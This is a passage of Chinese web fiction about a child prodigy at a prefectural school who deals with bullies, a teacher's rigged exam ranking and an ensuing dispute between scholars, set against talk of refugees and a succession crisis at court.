“你满口胡言!” “我何时说过!” “休要污我清白!” “夫子!” “我冤枉!” 史苛之一脸难看,连忙拱手看向秦夫子,只是见秦夫子脸色不善。 显然这秦夫子分明就是向着方子期的,也不知道这秦夫子同这方子期究竟是什么关系! 史苛之感受到了被拉偏架的痛苦。 “道歉。” “否则革出府学。” “你自己选!” 秦夫子冷冰冰道。 咕咚。 史苛之吞咽了一口唾沫。 他的叔父虽然是宁江府的通判,正六品官职。 但是他叔父儿子都一大堆,更别说乱七八糟的侄子了。 也是因为他入了府学,在读书上也颇具天赋,才得了他叔父青睐,觉得他将来能够守住史家家业。 若是他叔父知道自己被开革出府学,那自己就算是彻底废了。 “我道歉!” “方同窗!” “朱同窗!” “抱歉!实在抱歉!” “今后再也不同你们开玩笑了!” “请你们放心!” 史苛之连连作揖。 至于他身边的几个狐朋狗友,就更是如此了。 方子期倒是坦然接受。 至于朱正恩此刻下意识往后退了退。 “嗯!” “都坐到各自的位置上去!” “上课了!” 秦夫子威严的声音传来。 随即此事告一段落。 自从秦夫子出面之后。 第92章 方仲礼:我能一打十 只要无要事,秦夫子都会准时抵达方子期家,跟着周夫子一同教导方子期等人。 闲暇时,这位秦夫子就会同方子期兴致盎然地讨论忠君爱国之道。 而每一次洽谈,不仅仅是秦夫子对忠君爱国之道有一些新的见解,就连方子期也受益匪浅。 方子期有时候不得不感叹,秦夫子的举人功名真不是盖的。 纵使方子期每天读书十几本,但是知识的储藏量较秦夫子还是差得太多太多了…… 而自从秦夫子来了后。 方子期家中每天必会出现的一道菜就是红烧肉了。 秦夫子每日不吃几块,就感觉浑身不得劲。 而苏氏也开始操持起了老行当,每日做一些红烧肉和卤肉拿去卖。 现在有方虎在,苏氏倒是不用每日出去抛头露面了,方虎每日用骡车拉着苏氏做好的红烧肉和卤肉在市口上溜达一圈,基本上就卖掉了。 甚至很多都是老主顾了,基本上每天都要预定一些。 方家一家人在府城的日子虽平淡,却也稳定充实。 “隔壁的张娘子刺绣手艺是真不错!” “这就是她绣出来卖给衣铺的帕子,我特地买了几个给大丫他们。” “你们看看,这牡丹花儿可是鲜艳得紧!” “那张娘子是个心灵手巧的。” “我想着,回头能不能让大丫二丫她们也跟着张娘子学学这刺绣的手艺。” “以后她们到了婆家,好歹也有一门能傍身的技能。” 晚间。 苏静姝谈起了隔壁的张娘子,忍不住嘀嘀咕咕说了好久。 这个张娘子就是朱正恩的娘亲。 之前方子期也远远地见过一次,看起来是一位知性的美妇人。 平日里也极少出门。 “学学也无妨。” 方仲礼此刻一心都在读书上,对苏氏说的话,也就是随口敷衍。 “你啊你。” “整日就知道读书!” “家里面的事,是一点都不管了!” “这次你要是考不中,看我怎么摆弄你!” 苏氏嘟囔了几句。 随即话匣子又被打开了。 “说起来,张娘子家那大儿子好像也在府学读书吧?” “怎么每天身上都要带点伤回来?” “那孩子也是个白净的,斯斯文文的,看起来也不像是喜欢同人争斗的啊。” “前些日子,腿还瘸了。” “哎……” “我好几次瞅见,张娘子都在偷偷抹泪呢!” “我让张娘子去报官,她也是沉闷不语。” “这世道,还有个讲理的地方吗?” 苏氏愤愤不平道。 方子期沉默了。 他有秦夫子撑腰,所以史苛之那群王八羔子不敢随意对他出手。 但是对朱正恩…就无所顾忌了。 当然了。 在府学的时候肯定不能出手。 但是出了府学呢? 阴暗的街道中。 拳脚相加…… 换来的就是更加的沉默。 方子期最近也发现了。 朱正恩现在身上的伤势更多了。 那些人将不敢欺负方子期的怒火全都叠加到了朱正恩身上。 这个世界。 从不缺少畜生。 方子期感恩一路上遇到的这些良师益友…… 方夫子…周夫子…还有秦夫子…虎叔…… 满仓…砚秋…花允谦…周秉律…… 他们既是自己求学路上的良师益友。 更是自己科举路上的护航者。 咚咚咚! 沉闷的敲门声再度传来。 方虎急匆匆地前来汇报。 “仲礼!” “是隔壁的张娘子。” “他儿子发了高烧。” “希望我们能帮他将孩子送去医馆。” “他一个妇人,恐怕是搬移不动的。” 方虎沉闷道。 “啊?” “那是要去的!” “孩子他爹!你同方虎大哥同去!” “哎!” “他们那孤儿寡母的……” “还有个小闺女……” “儿子又病倒了,这日子可怎么过啊!” 苏氏素来心善。 尤其最近这段时间同张娘子做邻居,这关系处得也不错。 一时间不由得为张娘子担忧起来。 方仲礼点点头,也没说什么,跟着方虎就出门了。 大半夜才归来。 “孩子已经退烧了。” “哎!” “那孩子,是吃了大苦的!” “身上的伤痕也不知道有多少。” “那腿也瘸了。” “大夫说,因为没早些治疗,那瘸腿就算是再治疗,多多少少还是会有些影响的,必然不能像正常人那样了。” “子期啊!” “你在府学中可莫要同人争斗!” “要是受到了欺负,你直接来找爹,爹同他们算账去!” “嘿!” “你爹别的不行,可还有把子力气,真要是打架,就府学那群书生,还没谁是我的对手!” “我一个能打十个!” 方仲礼撸起袖子来,特地让方子期看他虬结的肌肉。 本来就是操持庄稼的汉子,体质自然不差。 就算是现在读书了,方仲礼每日也是坚持锻炼的。 “知道了爹!” “我睡觉去了。” 方子期打了个哈欠,随意应付了一声,就去睡了。 这个世道。 将弱肉强食书写地淋漓尽致! 如果他不想成为第二个朱正恩。 如果他不希望自己的娘成为第二个张氏。 那唯有…… 自强! “院试!” “必须要过!” 方子期呢喃自语,语气显得格外坚定。 …… 第二天在府学,方子期就没看到朱正恩。 直到第二次月考。 方子期才再次看到了朱正恩。 隔了这么多天。 朱正恩看起来瘦削了不少,那条瘸腿比以前确实好了不少,但是走起路来仍旧有些一高一低的,明眼人还是能看到腿上毛病的。 但是无论何时何地,朱正恩的脊梁骨永远是挺得最直的。 若非他岁数太小,方子期都怀疑朱正恩是不是得了强直性脊柱病。 本次月考。 方子期仍旧是自我奔放式发挥。 仍旧是第一个交卷…… 有秦夫子在…… 所以方子期的月考成绩又是当仁不让的乙二班第一名…… 至于朱正恩,也不知道是秦夫子刻意为之,还是运势使然,得了个乙二班月考第五名,也是优评的最后一个名额。 按照府学规定。 两次月考皆优者,就能进入更高等级的班去进学了。 也就是说。 方子期和朱正恩今后都要去乙一班进学了。 晋升了。 方子期明显看到,朱正恩在看到自己成绩的那一刻,眼眶红了,泪水夺眶而出,但是为了不让旁人发现,硬生生地又给憋回去了。 第93章 流民如潮,王知府从谏如流 其余众人也有不小的提升。 毕竟有周夫子和秦夫子的双重教导,每日除了在府学读,回家还要开小灶,休沐时还要做文章。 既有名师教导,众人又勤奋努力。 如此加持之下,若是再不提升,才真是咄咄怪事。 方砚秋得了丙三班第二名,得了个优等,拿了二两银子的奖励,上次月考他是第四名,虽然只是前进了两名,但是越靠前的名次可是越难提升的。 方仲礼得了丙三班第五名,上次月考他是第十四名,算是提升最快的了! 至于花允谦,也有所进步,成功从乙一班的倒数第二名变成了倒数第六名!勉强得了个良评,算是保住了继续待在乙一班的资格! 所谓的优评、良评和差评,在每个甲乙丙等班中名额不一。 例如乙等班中,前五名有银钱奖励,那前五名就是优评,最后五名就是差评,余者都是良评。 丙等班中,前三名有银钱奖励,那前三名就是优评,最后三名就是差评。 “仲礼的文章进步是最大的!” “区区一月时间!” “已然有了自己的风骨!” “较上次月考,就像是脱胎换骨一般!” “不错!属实不错!” “仲礼!” “你不愧是子期的父亲!” “父类子!看来在读书上,你还是有几分像子期的!” 秦夫子抚摸着花白的胡须,在那里十分热忱地评价道。 “还要多谢夫子连日来的谆谆教导!” 方仲礼连忙致谢。 只是总觉得秦夫子这话怎么听着怎么不得味呢! 什么叫我有几分像子期? “嗯!” “还要继续努力才是!” “现下已是六月份了!” “再有三月。” “院试就到了。” “仲礼,你的底子本是最差的。” “若是能用这三月时间好好弥补弥补,未必不能闯个出路来!” “可莫要懈怠才是!” 秦夫子提点道。 方仲礼连忙称是。 “至于子期……” “文章还是一如往日那般灵动非凡。” “不过明谦所说倒也不是没有道理。” “虽忠君爱国之道乃万道之首,而近些日子你对忠君爱国之道又有了一些新的理解,文章做的更是如鱼得水,甚得吾心!” “但是那崔清彦大宗师却是个老顽固了。” “院试之中。” “你还是要多多注意才是。” “写完初稿后,尽量将那些肺腑之言…删减些许吧。” “一切,为了过院试!” 秦夫子叹了口气,叮嘱道。 这就是科举的不好之处了。 各种风险太大了。 并非你学问好就一定能中榜。 还涉及到文风与考官是否契合等等。 像方子期现在的资源算是不错的了,能提前得知大宗师崔清彦的文章喜好,并且在秦夫子和周夫子的帮助下,拿到各省近些年来的各种院试文章集,并能够得到他们的专门讲解和指导。 一个副举人,一个举人,几乎相当于是私教老师般对方子期等人倾囊相授。 就这种待遇,也不亚于那些世家大族了。 随着院试时间越来越近…… 方子期等人也多了一些紧迫感。 而在这一个多月里。 涌向宁江府的流民也越来越多了。 “知府大人已经在城外建造了流民坊!” “甚至还根据这些流民的性情和所为依次给他们发放了红色、黄色和绿色身份牌,加以管控!” “其中这红色身份牌的流民最为危险,也是官府重点需要监控的,这些红色身份牌的流民,很多手上都是沾过血的,只是有些还罪不至死罢了。” “菜市口那边,这几天时常有砍头的,砍的都是那些流民转变成的贼寇!据说那些个贼寇嘴巴都鼓着大泡,都是相食过同族的……” “现在城门那边也聚了不少流民在修缮城门,据说水坝那边的流民更多……” “咱们的这位知府大人…倒是一位有能耐的。” “能将这些流民安置地妥妥当当!” “也算是宁江府百姓之福了!” 周夫子忍不住赞叹道。 “嗯!” “咱们的这位王知府素来以通实务而著称士林!” “今日见其所为,果然名不虚传!” “尤其是那红黄绿三种身份牌的约束之法,更是巧妙!” “既约束了流民中的不安分者,又能让普通流民能够安稳度日!” 秦夫子也赞誉道。 方子期在一旁听着。 表情很复杂。 这些个法子…… 似乎…… 都是我曾经在那位王知府面前说过的啊。 这位王知府还真是…从谏如流啊! “陛下的病情……” “有好转吗?” 方子期忍不住询问道。 秦夫子的消息渠道肯定比他多得多。 “嗯?” “子期,你怎么开始关心这个了?” 秦夫子愣了一下道。 “就是关心关心……” “毕竟我走的是忠君爱国之道嘛!” 方子期信口胡诌道。 “哎!” 秦夫子先是叹了口气,随即才压着嗓音道:“据说很不好,现下连日里都是靠丹药压着……” “关键是,都如此这般了,这储君之位还是悬而未决……” “不管是立皇太弟还是立皇太子,总归立一头啊!” “否则哪天真要是出了个意外……” “到时候这大位让谁去继承?” 秦夫子摇了摇头,对朝政之事他虽不怎么关心,但身处于家族之中,有时候还是能听到不少消息的。 “依夫子之见……” “最终陛下是会立晋王还是大皇子?” 方子期直截了当道。 晋王萧景琰是当今陛下一母同胞的亲弟弟。 大皇子萧明彻则是陛下的嫡长子。 秦夫子深深地看了方子期一眼。 “你怎会对这些事,如此感兴趣?” “子期!” “你之忠君爱国之道,最终可不能演变为佞臣之基啊!” “佞臣固然能极快掌握大权。” “然,大多遗臭万年!” 秦夫子叮嘱道。 方子期:“……” 我的好夫子,想得还挺深远,连遗臭万年都想到了。 “夫子多虑了。” “只想着多了解一些,如此才能更好地融入忠君爱国之中!” “毕竟若是连下一任储君都不知是哪位,这忠君爱国不就成了虚妄之道了吗?” 方子期很是诚恳道。 第94章 秦夫子:孙景行就是那带毛的老畜生 秦夫子不疑有他,随即沉声道: “按照陛下之意愿,恐怕还是希望立大皇子为储君的。” “但是皇太后肯定是希望立晋王……” “而且咱们的这位皇太后虽还政陛下多年,但是在朝野上下还是很有威望的。” “毕竟当年垂帘听政了那么多年。” “哎!” “反正现在也没个结果。” “且等着看吧!” “此京城诸公之事,倒是与我等干系不大。” “何必徒增烦忧?” 秦夫子倒是豁达得很。 只是…… 当真干系不大吗? 这汉江省就是晋王的封地啊! 他要是成功上位还好。 若是不曾成功上位,万一选择造反…… 当然这些话方子期没说出来,他也怕将秦夫子和周夫子吓出个好歹来。 方子期想着。 老皇帝一定要熬到九月的院试之后再噶啊! 在大乱之前,我总要先弄个秀才功名吧! 先半只脚踏进士林再说! …… 因方子期这一次月考又是乙二班第一。 所以当天晚上,方子期又给老娘上缴了十两银子的奖励。 苏静姝脸上的笑容已经彻底压不住了。 夸完方子期,就要数落方仲礼了。 儿子读书,月月拿钱,你读书咋就一个子不往回拿。 方仲礼闷着头,他总算是能够体会到自家那侄儿文舟被自己儿子卷的痛苦了。 本来他娘子苏静姝对他多好啊,一心就让他读圣贤书,让他好好备考,不要想银钱的事情。 但是现在。 才多久啊! 变了啊!全变了! 人心不古啊! “方婶!” “这二两银子我也上交!补贴家用!” 方砚秋这一次是在丙三班的月考中得了个第二名,也拿了二两银子的奖励,此刻连忙奉上。 苏静姝虽然爱钱,但是她也知道君子爱财取之有道。 拿自家宝贝儿子的银钱,她是怕方子期太小乱花了。 但是哪能随便拿方砚秋的银子。 “砚秋!快拿回去!” “你在我家吃住,你爹娘都是给过银钱的!” “你再给我银钱,这算怎么回事?” “你靠着自己本事赚的银钱,自己拿去买些纸笔!” “但是千万不要学着那些不学无术的公子哥去耍弄什么勾栏听曲!” 苏静姝将银子给方砚秋塞了回去,态度明确,就是不收。 方砚秋无奈,只能自己收下了。 他父母给的那点银钱算得了什么? 怎么可能让他住着这么好的房子,吃着这么好的饭菜,因为在这里,基本上天天都有肉吃啊! 而且! 还能时刻得到周夫子和秦夫子的指导! 人嘛,只要不是白眼狼,都是有感恩之心的。 方砚秋也想做一点自己的贡献。 既然这银钱方婶不收,后来方砚秋干脆就经常给家里面添置点什么。 今天买一刀纸回来公用。 明天又顺道儿买几斤肉回来。 虽然苏氏为此说过方砚秋很多次了,那点银钱留着自己体己用,但是方砚秋每次答应地好好的,下次继续买! 人心都是肉长的。 将心比心。 不外如是。 …… 现在方子期已经升到了府学的乙一班了,和花允谦在一个班。 所以两人基本上每次上课就坐一起了。 乙一班的授课进程明显比乙二班快不少。 而且也没有太多所谓的霸凌之事。 大家都一门心思的读书。 朱正恩这几天身上的伤势也少了不少。 因为他成功晋升到了乙一班中! 他觉得自己已经脱离了魔鬼和地狱! 但是好景不长。 几天后。 方子期就发现朱正恩的腿越来越瘸了,身上的伤也越来越多。 不经意间就能看到,史苛之那几个家伙经常在府学之外堵朱正恩。 你没有背景,你不合群,你还读书好,这些纨绔当然羡慕妒忌恨。 这样的人,也就成了这些官宦纨绔最佳的打压目标。 对于朱正恩,方子期既有同情,也有恨铁不成钢。 同情他,主要因为同出寒门,不忍见他如此。 至于说恨铁不成钢…… 方子期已经邀他数次,让他以后跟着自家的骡子车一起回家。 但是这家伙也拒绝了数次,就为了那所谓的读书人的风骨? 方子期感觉那就是个笑话! 风骨固然要有。 但是当你的腿快要被人打断了,还讲什么风骨? 搭个顺风车就碍着你的风骨了? 很多时候,借势而为,方为君子之智! 就像方子期从不拒绝那位花县令甚至是王知府的帮助。 乃至于周夫子和秦夫子的赤诚教导。 恩情铭记于心就好。 待他日,若是他们有了难处,能够及时地伸出援助之手,这比时刻抗拒要好得多。 在乙一班的日子,多了花允谦陪伴,倒也不显得枯燥。 乙一班的教学速度快,倒是正符合方子期的心意,这样他也能多学一些。 随即。 第三次月考来临…… 方子期正常作答…… 然后正常交卷。 等结果下来之后。 天就塌了。 乙一班倒数第一:方子期! 乙一班倒数第七:花允谦! …… 嗯! 花允谦还往前进步了一名。 但是方子期…… 直接从乙二班的第一名变成了乙一班的倒数第一名。 这属实…… 有些匪夷所思了。 “可惜了。” “没银钱奖励了。” 方子期忍不住叹了口气。 等回到家后。 秦夫子就匆匆赶来。 “子期!” “乙一班的孙景行素与我有怨!” “他知我青睐于你,所以故意将你成绩打成末等!” “此等腐儒!无耻之尤!” “待明日,我定要去找他为你讨回公道!” “子期,你可知此次乙一班的第一名是谁?” 秦夫子咬牙切齿道。 “啊?” “这个…好像叫孙知白吧?” 方子期记得当时只是随意扫了一眼。 “嗯!” “这个孙知白,就是上次府试第二名!你压了他一头!” “呵呵!” “这个孙知白还是他孙景行的侄子!” “这个老腐儒当真是无耻之尤!” “恬不知耻地将自己的侄子定为乙一班的月考第一!” “你们两人的卷子我都看了。” “那孙知白的文章不如子期你甚多!” “孙景行!带毛的老畜生!” 秦夫子此刻已经开始出口成章了…… 第95章 章宗儒:你当真出身寒门么 第二天。 方子期刚入府学,就听到一阵吵闹声。 只见府学中。 秦夫子直接同乙一班夫子孙景行展开了一扬属于读书人的骂战! “无耻奸佞!误人子弟!” “彼其娘也!” “蠹书虫耳!” “斯文败类!” “吠非其主!” “乡愿,德之贼也!” “沐猴而冠耳!” “豺狼之心,行若狗彘!” …… 方子期默默在一旁看着,此刻他是真见识了。 读书人骂人真不带脏字啊! 此刻俨然是秦夫子稳占上风! 看来在‘彼其娘也’之道上,秦夫子修行地不错。 此刻周边也围了不少看热闹的人群。 夫子大战可不是什么时候都能见到的! 既见到了,那自然就不能轻易错过了。 “你就是方子期?” “哼!” “果然是小人!” 突然。 一个身穿白色儒袍的青年男子来到方子期面前,怒目而斥道。 方子期眉头一皱。 “哪来的带毛畜生?” “犬吠你爹呼?” 方子期刚刚跟着秦夫子可是学了不少,当即活学活用。 “你!” “放肆!” “吾乃孙知白!” “家父任职御史台七品御史!” 孙知白昂着头,不无傲然道。 七品御史,看起来官不大。 但这可是京官!就算是知府大人见到他父亲,那也得恭恭敬敬的! 这是孙知白素来的最得意之处。 “原来是你!” “府试第二名!” 方子期一脸认真地点点头道。 孙知白:“……” “我爹是七品御史!” “我出身宁江孙家!” “我孙家一门三进士!” 孙知白咬牙切齿道。 “我知道,你是府试第二名。“ 方子期继续点头道。 孙知白红着眼,有些红温了。 “若非知府大人青睐于你!” “府案首岂会落入你一八岁稚童之手!” 孙知白握紧双拳,双眼发红。 这是他平生最大之耻辱! 居然在府试中输给了一个八岁孩童! “所以呢?” “你难道不是府试第二名吗?” “难道是我记错了?” 方子期讶然道。 孙知白:“……” “竖子不相为谋!” “院试时!” “我定要夺得案首!压得你无地自容!” 孙知白心乱了。 他也不知道平日里温顺和煦的他,今日为何会如此失态…… 总而言之。 道心有点崩。 秦夫子同乙一班夫子孙景行之间的骂战影响有点大。 最后还是由府学的教授章宗儒出面调停此事。 府学名义上的最高领导者就是教授,从九品职务。 当然,这教授既是官职,也可唤作称呼,不一而足。 当章宗儒仔细聆听了事情的原委后,将孙知白和方子期叫了过来。 当看到方子期后,章宗儒显得有些讶然。 好家伙。 此子…… 当真是寒门学子吗? 之前拿着花县令的举荐信来也就算了。 现在又能让秦默存为他如此冲锋陷阵! 这秦默存虽只是府学的夫子,也只有个举人功名在身,但是其身后的秦氏家族可是不容小觑的。 “章教授!” “秦默存这个家伙实在是有辱斯文!” “我正常阅卷,正常排名,就因为将他的学生排在末尾,他就如此大喊大叫!” “实在是难登大雅之堂!” “请章教授务必要斥责此僚!还府学一个朗朗乾坤!” “若是所有人都如同他这般,只要对月考成绩不满意就喧哗于庭,那这府学之地还如何保持清净!如何教书育人?” “请将秦默存明正典刑!” 乙一班夫子孙景行当即控诉道。 “孙景行!” “莫要狂吠了。” “我的学生方子期月考文章最佳,你排在末尾!” “你那侄儿孙知白的文章不过尔尔,你却点为第一!” “你这等因私废公的老畜生,怎么有脸添居府学夫子之位的?” “我若是你,倒不如去护城河跳下去算了,还算能保个以死谢罪之名,省得遗臭万年了!” 秦夫子当即讥讽道。 眼看着,这又要干起来了。 章宗儒一阵头疼。 最终只能由他来当裁判,重新对方子期和孙知白的考卷进行阅卷。 章宗儒先看的孙知白的文章。 不得不说,这孙知白的文章还是有可取之处的,此等文章,在童生中算是极好的了。 但是乙一班中大多都是秀才,凭借这样的文章想要力压二十多位秀才,那就有些不太现实了。 所以……将孙知白点为乙一班的月考第一,确实不太公正。 章宗儒瞥了一眼孙景行,这家伙…就算是偏心自己的侄子,也不至于这般离谱吧?你弄个四五名也就行了,偏偏要点为第一?明摆着不公正啊! 眼见着章宗儒朝着自己投来不满的目光,孙景行心中暗自一咯噔。 这是要出事的节奏啊! “章教授。” “知白的文章虽然还稍显稚嫩,然其文风极好,文笔极佳,一手字写得也颇具风骨,所以我才点了他的第一。” “他之文章,倒是颇为契合我之文风!” 孙景行连忙道,这就算是为自己找补了。 只是此刻门外的一众学子听到之后,顿时一阵唏嘘。 “契合文风就能得第一?这孙夫子这般说,看来孙知白的月考第一有很大水分啊!” “啧啧啧!这孙知白是孙夫子的侄子,学问都是一家所出,文风能不一样吗?” “孙夫子拿这个当借口,可站不住脚啊!” “那孙知白不过就是个府试第二而已,在我乙一班中,哪怕是府试案首都不知道有多少了……” “就是就是……” “有些无耻了。” “孙知白才不配位啊!” “看来孙夫子知道这孙知白学问不到位,所以就想着强行给他优评,将他抬入甲班中去。” “这么说起来,甲班专收垃圾了?” …… 舆论的风向有些变了。 孙知白听着周边的风言风语,忍不住握紧双拳,指结发白。 这个时候。 章宗儒拿起方子期的考卷看了起来。 扫了一眼破题和开头,顿时让章宗儒有一种耳目一新之感。 “怪不得能得府案首,怪不得能让知府大人如此青睐!实乃神童也!” 章宗儒心中暗自想着,但是脸上尽可能地不表现出来,但是嘴角还是忍不住跟着上扬。 第96章 吾爹!七品御史!吾爷!五品郎中! 好好好! 正契合他心! 小小年龄!就已有鸿鹄之志!将来的青云路必是不差了! 看了一篇好文章,章宗儒很开心。 章宗儒默默瞥了一眼还在气头上的秦夫子。 大意了啊! 若早知方子期有如此才智,当初他刚入府学的时候,就该将其收为自己的学生啊! 当初方子期来府学的时候,第一件事就是来找他章宗儒! 错失神童也! 被秦默存捡漏了! 此刻的章宗儒,遗憾与喜悦交织着。 但是很快。 又被无尽的烦恼充斥着。 他是府学教授。 他要断案啊! 这名次…到底要怎么排才好啊! “方子期的文章…确实不错……” “孙…孙知白的文章也还可以……” “都是少年英才!” “都说文无第一武无第二!” “我倒觉得……” “不分伯仲啊!” “要不然……” “都点为第一?” “也算是我们府学的趣事了!” 章宗儒此刻只想和稀泥。 赶紧让这件事过去吧! 但是当章宗儒说出这些话后…… 门外一众学子就开始惊呼了! “章教授说什么?说要同时点方子期和孙知白为第一?” “啧啧啧……这么说起来,那方子期的文章确实能当得第一?” “反过来说,那孙知白的文章同他的名次不相符合啊!” “怪不得秦夫子大发雷霆,原来还真是阅卷不公!” “区区一扬月考,都要走人脉关系?这要是到了院试乡试岂不是还要科举舞弊?” “以后可要记住此人,莫要与其结保了,不然到时候科举舞弊连坐可不是开玩笑的。” “的确如此,离这个孙知白远一些吧!” …… 群众的眼睛是雪亮的。 一时间。 孙知白一张脸已经变成了熟透了的猪头。 丢人丢到家了! 他这大伯!当真是无能至极! 科举之道上,只是中了个举人不说。 现如今只是让他安排一个名次都搞出来如此多的麻烦! 无能至极! 孙知白心中生出怨恨。 还有那个方子期! 区区农家子!月考给了你末名,你受了就是了,还找什么茬?徒增烦忧! 我爹可是七品京官! 尔等放肆至极! 面对章宗儒和稀泥的方案,秦夫子和孙景行都不满意。 孙景行率先开口:“章教授,法制不可改!这乙一班既是我阅卷,那么一切结果就应该以我为准!难不成院试之中,有考生对自己成绩不满意,还能上告到礼部修改成绩吗?岂能有此等之事?” “既然院试中榜与否都能由大宗师一人而决,那乙一班的月考名次,也当由我这个夫子来决定!” 孙景行咬着牙,强行道。 若是将方子期同他侄子孙知白同点为第一,那外面那些风言风语可就彻底坐实了! 他孙景行做事,岂能被人指指点点? 孙景行一言出,章宗儒就不满意了。 玛德! 彼其娘也! 没看出来我这是在帮你解决麻烦,消除恶劣影响吗?你还在这里叽叽歪歪的! 章宗儒很生气! 他觉得孙景行属实有些不识好歹了。 你做了那腌臜事,现在被人揭露了,我给你平事,你还不乐意上了?你哪来的脸啊! “孙景行!” “不愧是带毛的畜生!” “说起话来皆畜言畜语的。” “照你所说。” “这府学还成了你的一言堂了?” “吾辈读书人!” “若是连个公平公正都得不到,还读什么圣贤书?还不如回家侍老母!” “章教授!” “依你之学问,自然能辨别出此两篇文章之优劣!” “你之决策!我自信奉!” “但是并列第一这种事,我也觉得不可取!” “总是要分出个优劣来的!” “请章教授排名吧!” 秦夫子拱手道。 此刻,外面的舆论风潮愈演愈烈。 章宗儒压力很大。 早知道一开始就将那些看热闹的人群驱散了。 现在搞得上不上下不下的。 想到此处,章宗儒忍不住又朝着孙景行投去一个怨怼的目光。 怪不得秦默存要骂你是带毛的畜生呢! 是真不知好歹啊! 让你见好就收,你还拽起来了? “那就方子期排名第一,孙知白排第二吧!” “乙一班其余人等的名次,依次往后排吧!” 章宗儒摆摆手,直接决断道。 他累了…… 对于这个结果,秦夫子虽然感觉还不是很公正,但是也没多说什么,他也知道章宗儒要平衡各方势力,这算是最好结果了。 但是孙景行忍不住了。 当即就要跳脚。 “章教授!” “怎可如此!” “我才是乙一班的夫子!” “我才是阅卷之人!” “我……” 叭叭叭…… 孙景行逐渐红温,声音越来越大。 “孙夫子。” “你最近日日教学也累了。” “暂时就休沐一段时间吧!” “乙一班我亲自带一段时间。” “等你休息好了,再回来。” 章宗儒当机立断道。 现在这孙景行在府学中已经算是德行有亏的人。 不说直接开革,最起码也要让孙景行离开府学一段日子,先让那些风言风语淡化了再说。 孙景行还想再说什么。 但是章宗儒直接起身离开了。 他才是执掌府学的教授。 此事。 定了! 孙知白感受着周边人对自己的指指点点,气得浑身都在发抖。 “方子期!” “你莫要猖狂!” “不要觉得得了秦夫子的支持,就觉得自己真的能够与天公试比高了!” “你一农家子!地里刨食的货色!” “你与我之间的差距就像天与地之间的距离!此乃天堑之别!” “蝼蚁,焉能与雄鹰比拼?” “吾父!御史台七品御史!” “吾爷!礼部五品郎中!” “吾孙家!一门三进士!” 孙知白昂着头,他要秉持自己的骄傲! “知道了,府试第二名!可以将月考第一奖励的十两银子还给我了吗?” “那不是你的东西啊!” “现在是我的了!” “你孙家一门三进士,不至于还要贪我这十两纹银吧?” 方子期的声音很大…很大…… 大到很多人都能听得到。 “你…你……” “你……” 孙知白双眼泛红,手指指着方子期,浑身抖动的频次越来越快。 突然。 孙知白感觉喉咙一甜…… 一口逆血涌入嘴中,他咬着牙,硬生生地将这口逆血给吞下去了。 第97章 侠肝义胆秦夫子 终于了结。 方子期亲自找到秦夫子致谢。 这一次若非秦夫子不顾一切地为他讨回公道,他是不可能拿回属于自己的名次的。 秦夫子对他,确实毫无保留。 若是单凭方子期自己。 面对孙知白和孙景行这种官宦家庭,实在无能为力。 秦夫子在前面为方子期冲锋陷阵,方子期若是在后面怂了,置秦夫子于何地? 他虽知韬光养晦之道,然此刻若是再韬光养晦,那才真是烂泥扶不上墙! “夫子!” “多谢!” 方子期拱手作揖,真挚道。 “你本就是因为我之缘故,才被孙景行那家伙针对。” “我为你讨回公道,理所应当!” “好在这个章宗儒不是个脑子糊涂的。” “否则还真不好处置。” “子期!” “你且去上课吧!” “若是遇到什么事,尽管来找我就是!” 秦夫子颇为大气道。 当方子期进入乙一班的时候,直接就成了公众人物。 两大夫子因方子期而骂战! 方子期也可谓是一战成名! 底下一片窃窃私语。 “此子当真是有才学,还只是哗众取宠?” “我乙一班这么多秀才,居然让两个童生夺了月考前两名,可谓耻辱!” “说到底…还是有背景来得好!这月考成绩都可以随便改!” “孙知白身后是孙夫子,方子期背后是秦夫子……” “太不公正了!” “不过秦夫子既然能够如此理直气壮地为方子期抱不平,想来他还是有些水平的……就是那孙知白,过于无耻了些……” …… …… 窃窃私语声,方子期听得都习惯了,倒也不感觉有什么了。 此刻乙一班靠后的位置上。 朱正恩也一直在关注方子期。 “同为寒门……” “同被权贵欺压……” “为何境遇差别如此之大?” “究竟是哪里出了问题?” 朱正恩忍不住伸出手,死死地捏住自己伤腿的位置,此刻身体不由得跟着轻微抽动。 虽然没有明文规定瘸子不能参加科考。 但,哪家大宗师会取一个瘸子当学生? 所以,他现在必须要隐忍着所有疼痛,尽可能地让自己走起路来正常一些。 必须要一点点地别过来! 否则他的青云之路,就算是彻底断绝了。 若是在十八岁之前不曾中秀才,族中的那些所谓族老,就该将他们一家子赶出宅邸了。 朱正恩低着头,双手紧握,指甲嵌入到血肉中,留下一道道鲜红的印记。 …… “子期!” “秦夫子可真是太威猛了!” “没想到平日里温文尔雅的秦夫子战斗力居然这么强!” “子期!” “现在你又重回第一了,我好不容易往前进步了一个名次,又给打回原形了!” 花允谦感慨道。 上一次月考花允谦是倒数第六名,这一次本来是倒数第七名,但是现在方子期从倒数一变成了正数第一,那花允谦自然也只能继续当回倒数第六了。 “章夫子来了!” “且上课吧!” 方子期随口道。 经历了今天的事情。 他越发地觉得读书的重要性。 你想与世无争、安心读书太难了。 就算你一直藏拙、一直退让……那也只会遭受更多的霸凌和欺辱。 朱正恩就是典型的例子。 唯有自身强大。 考取功名,提升门第,方能立足! 一味地去依靠他人之势,注定不长久。 打铁,终究还需要自身硬。 章宗儒能够成为府学的教授,除了具有一定的管理能力外,其学问其实也是不差的。 而且或许是因为平常不授课,所以此刻突然授起课来,倒是讲解地津津有味! 引经据典,再根据各种经典沿用圣人之言。 再举例各朝风流人物,进行佐证。 听着这位章夫子授课,方子期也下意识沉浸其中。 然后…不知不觉间,时间就过去了。 韶华易逝…… 课间。 方子期仍旧秉持着勤恳好问的学习风格。 因前面有朱正恩在请教章夫子问题,方子期就稍微等了一下。 等朱正恩问完后,方子期才上前。 随即方子期将自己今日之困顿如数请教。 章夫子也很耐心地一一解答! 一边解答着,章夫子看向方子期的目光中充满了欣赏。 倒不是方子期提出的这些问题有多么高深奥妙。 主要是早上才因方子期月考排名之事而爆发了夫子骂战。 此事影响极大,整个府学都为之震动。 孙知白都提前离开府学归家了。 而方子期就像是个没事人一样,在课堂上认真听讲。 到了课间还有心思过来请教问题。 似乎早上的那些事情根本不曾让其分心丝毫。 “有此心智,加之聪颖,何愁举业不兴?” “小小年龄,就能做到心如止水、古波不惊!” “他日若真的入朝为官,恐怕也是个城府极深的!” “青云之路于其而言,必是轻而易举也!” 章宗儒心中一叹,昔年他若有如此早慧,何至于止步于举人功名? “夫子?” “夫子?” 方子期正询问着问题呢! 这位章夫子说着说着,突然双目开始涣散,然后就呆愣住了。 